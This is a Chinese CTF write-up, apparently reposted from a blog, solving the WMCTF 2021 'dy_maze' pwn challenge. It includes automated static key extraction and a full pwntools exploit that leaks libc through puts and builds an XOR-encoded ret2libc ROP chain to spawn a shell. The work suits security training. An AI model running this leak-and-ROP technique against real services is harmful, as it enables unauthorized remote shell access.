??經過三天的
奮戰(摸魚劃水√),WMCTF 2021 終于結束,我們的萌新體驗隊在大家的共同努力下也拿到了前30的成績,實在出乎我的預料,不過,對于我們的首次比賽而言,成績是最次要的方面,隊友們在比賽中表現出的認真和專注、對CTF的興趣和熱愛才是最最珍貴的東西,只有興趣,才能推動我們不斷訓練進取,在水平上擁有長足的進步,
??這次比賽中,除了少量簽到、娛樂題外,pwn方向上我只做出了一道dy_maze,原因還是技術不夠,堆溢位沒有學,這道題也與一般的堆疊溢位不同,在前面加上了自動化分析的內容,確實長了見識,所以,下面我將沿著我的思路(走了些彎路)把這道題記錄下來,

1. 初步分析

題面意思是需要造一個自動化溢位程式,乍一看題,看不懂什么是自動化溢位程式x,沒有附件,連接一下服務器試試,
服務連接,經過驗證后,向我們發送了一個Base64編碼的二進制檔案,盲猜就是題目的ELF,手動解碼寫入檔案,進行分析,
檔案未開啟NX,Canary,amd64架構,使用IDA進行反編譯,出現很多maze_xx類函式,內部結構完全相同,經過分析,該程式流程為,輸入80個十進制數,這些數將分別成為對應序號maze_xx的key,每個函式內部一開始判斷key是否屬于一些數,若判對則直接跳出轉錯誤,中間有個位置會進行判空跳錯,即,只要每個key都對應這個函式的判空跳錯的那個判斷陳述句的條件,就會轉入下一個函式,80個函式過后轉入正常堆疊溢位(后來證明還有個小問題),構造ROP鏈即可,
2. 構造通過maze的payload
經過上面分析,需要找到每個函式對應的key,一開始還想要手動找(x),后來看看有點多還是準備寫自動化腳本了,后來看來,幸好當初沒有寫手動的靜態payload,要是寫了直接白給一小時,

觀察跳轉進入下一個maze的條件判斷式,這個cmp陳述句的operand 2就是每個maze的正確key,需要使用靜態分析將其找出,
(原本想要動態分析嘗試payload,奈何python時間偏差太大放棄,現在想來,真是一個極端愚蠢的想法)
觀察特征值,發現在每個cmp后,都會有全域變數pos自增1的指令,從這里入手找到所有跳轉條件的位置,就可以找到對應的正確key,

add eax, 1的二進制指令為b\x83\xC0\x01,使用elf.search()可以找到對應位置,接下來需要確定key的位置,原本方案是按照固定偏移找,結果頭疼的是,某些函式在add eax, 1和cmp間增加了一些無效指令,導致偏移不固定,只能改換特征值查找,
除了最后一位元組的key,cmp指令的前3位元組都相同b'\x83\x7D\xFC',可以從這里入手,從add的位置開始向前搜索這三個位元組,從而找到key,
另外,可以通過符號表找到各個函式的位置,構建字典來存盤函式序號對應的key,部分代碼:
d = {}
for i in range(1, 81):
d[i] = e.symbols['maze_{}'.format(i)]
maze_address = sorted(d.items(), key=lambda x: x[1])
key = {}
for ind, addr in zip(range(80), e.search(b'\x83\xc0\x01')):
addr -= 4
while e.data[e.vaddr_to_offset(addr): e.vaddr_to_offset(addr) + 3] != b'\x83\x7d\xfc': addr -= 1
key[maze_address[ind][0]] = e.data[e.vaddr_to_offset(adr) + 3]
3. 堆疊溢位(ROP)
通過上面的maze后,我們進入正式堆疊溢位,只需要一開始輸入長度(100足夠),后面注入ROP payload即可,由于沒有看反匯編,這里我又犯了一個錯,想當然地把明文payload送了進去,結果運行到回傳時直接跳錯,后來發現它還執行了一次對所有payload的異或加密

使用一般的ret2libc + encrypt 即可,這里需要注意,XOR的key也需要靜態分析取出,原因后面會講到,取出方法同上
加密、取key和payload部分代碼:
def encode(payload, offset):
# encode
payload_encoded = b''
for i in range(len(payload)):
payload_encoded += (payload[i] ^ success_temp[(i + offset) % 5]).to_bytes(1, 'little')
return payload_encoded
success_temp = []
for addr in e.search(b'\x48\x98\x88\x54\x05\xEC'):
success_temp.append(e.data[e.vaddr_to_offset(addr) - 1])
prdi = next(e.search(b'\x5f\xc3'))
for i in range(1, 81):
payload += str(key[i]).encode('utf-8') + b' '
# ok_success
payload += str(100).encode('utf-8')
sl(payload)
sleep(2)
# p.recvall()
ru(b'Good')
# sl(b'100')
sleep(2)
# input your name:
payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['ok_success'])
sl(encode(payload, 0))
# sl(payload)
sleep(2)
ru(b'name: ')
puts_addr = p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')
puts_addr = u64(puts_addr)
log.success("puts addr found: " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
# libc.select_libc(9)
libc_base = puts_addr - libc.dump('puts')
log.success('libc base found: ' + hex(libc_base))
p.sendlineafter(b'length', str(100).encode('utf-8'))
# Attacking:
payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(libc.dump('str_bin_sh') + libc_base)
payload += p64(prdi + 1) + p64(libc.dump('system') + libc_base)
sla(b'name: ', encode(payload, 1))
4. 真正的自動分析
構造完payload興奮地交上去,一直連接reset,一開始還以為網不好,手動試了試才發現是錯了,后來轉念一想,他來個附件不好,一定要每次連接用Base64發給你?不會每次ELF不一樣?后來兩次一比還真是,雖然堆疊幀結構沒變,但地址和key全都變了,這才算是需要真正的自動分析,
那就把Base64解碼寫進檔案里,再用這個檔案進行靜態分析即可,
后來發現,除了key,后來的XOR加密key,各個地址全部是變化的,這就是上面需要使用靜態分析提取值的原因
解碼、保存ELF代碼:
# initialize
p.recvuntil(b'Solution?')
confirm = input()
sl(confirm)
# Create binary file
ru(b'Binary Download Start')
ru(b'\n')
b64_data = p.recvuntil(b'\n==', drop=True)
with open('temp.bz2', 'wb') as f:
f.write(a2b_base64(b64_data))
ru(b'\n')
temp_binary = os.popen('tar -xjvf temp.bz2').read().strip('\n')
e = ELF("./" + temp_binary)
5. PWN
經過一些正常的rsp16位元組對齊等操作,最終成功get shell,下附完整代碼:
from pwn import *
from LibcSearcher import *
from binascii import a2b_base64
import os
context(log_level='debug', os='linux', arch='amd64', bits=64)
context.terminal = ['/usr/bin/x-terminal-emulator', '-e']
# Interface
local = False
# binary_name = "dy_maze"
binary_name = "38a5a00c-08ac-11ec-b124-0242ac110003"
port = 44212
if local:
p = process(["./" + binary_name])
e = ELF("./" + binary_name)
# libc = e.libc
else:
p = remote("47.104.169.32", port)
def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)
def encode(payload, offset):
# encode
payload_encoded = b''
for i in range(len(payload)):
payload_encoded += (payload[i] ^ success_temp[(i + offset) % 5]).to_bytes(1, 'little')
return payload_encoded
# Others
success_temp = []
# Main
if __name__ == "__main__":
# z('b maze_25')
z('b ok_success\n')
# initialize
p.recvuntil(b'Solution?')
confirm = input()
sl(confirm)
# Create binary file
ru(b'Binary Download Start')
ru(b'\n')
b64_data = p.recvuntil(b'\n==', drop=True)
with open('temp.bz2', 'wb') as f:
f.write(a2b_base64(b64_data))
ru(b'\n')
temp_binary = os.popen('tar -xjvf temp.bz2').read().strip('\n')
e = ELF("./" + temp_binary)
# Start ELF Analysis
d = {}
for i in range(1, 81):
d[i] = e.symbols['maze_{}'.format(i)]
maze_address = sorted(d.items(), key=lambda x: x[1])
key = {}
for ind, addr in zip(range(80), e.search(b'\x83\xc0\x01')):
addr -= 4
while e.data[e.vaddr_to_offset(addr): e.vaddr_to_offset(addr) + 3] != b'\x83\x7d\xfc': addr -= 1
key[maze_address[ind][0]] = e.data[e.vaddr_to_offset(addr) + 3]
for addr in e.search(b'\x48\x98\x88\x54\x05\xEC'):
success_temp.append(e.data[e.vaddr_to_offset(addr) - 1])
prdi = next(e.search(b'\x5f\xc3'))
# End Analysis
# key[80] = 32
payload = b''
for i in range(1, 81):
payload += str(key[i]).encode('utf-8') + b' '
# ok_success
payload += str(100).encode('utf-8')
sl(payload)
sleep(2)
# p.recvall()
ru(b'Good')
# sl(b'100')
sleep(2)
# input your name:
payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['ok_success'])
sl(encode(payload, 0))
# sl(payload)
sleep(2)
ru(b'name: ')
puts_addr = p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')
puts_addr = u64(puts_addr)
log.success("puts addr found: " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
# libc.select_libc(9)
libc_base = puts_addr - libc.dump('puts')
log.success('libc base found: ' + hex(libc_base))
p.sendlineafter(b'length', str(100).encode('utf-8'))
# Attacking:
payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(libc.dump('str_bin_sh') + libc_base)
payload += p64(prdi + 1) + p64(libc.dump('system') + libc_base)
sla(b'name: ', encode(payload, 1))
p.interactive()
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296494.html
標籤:其他
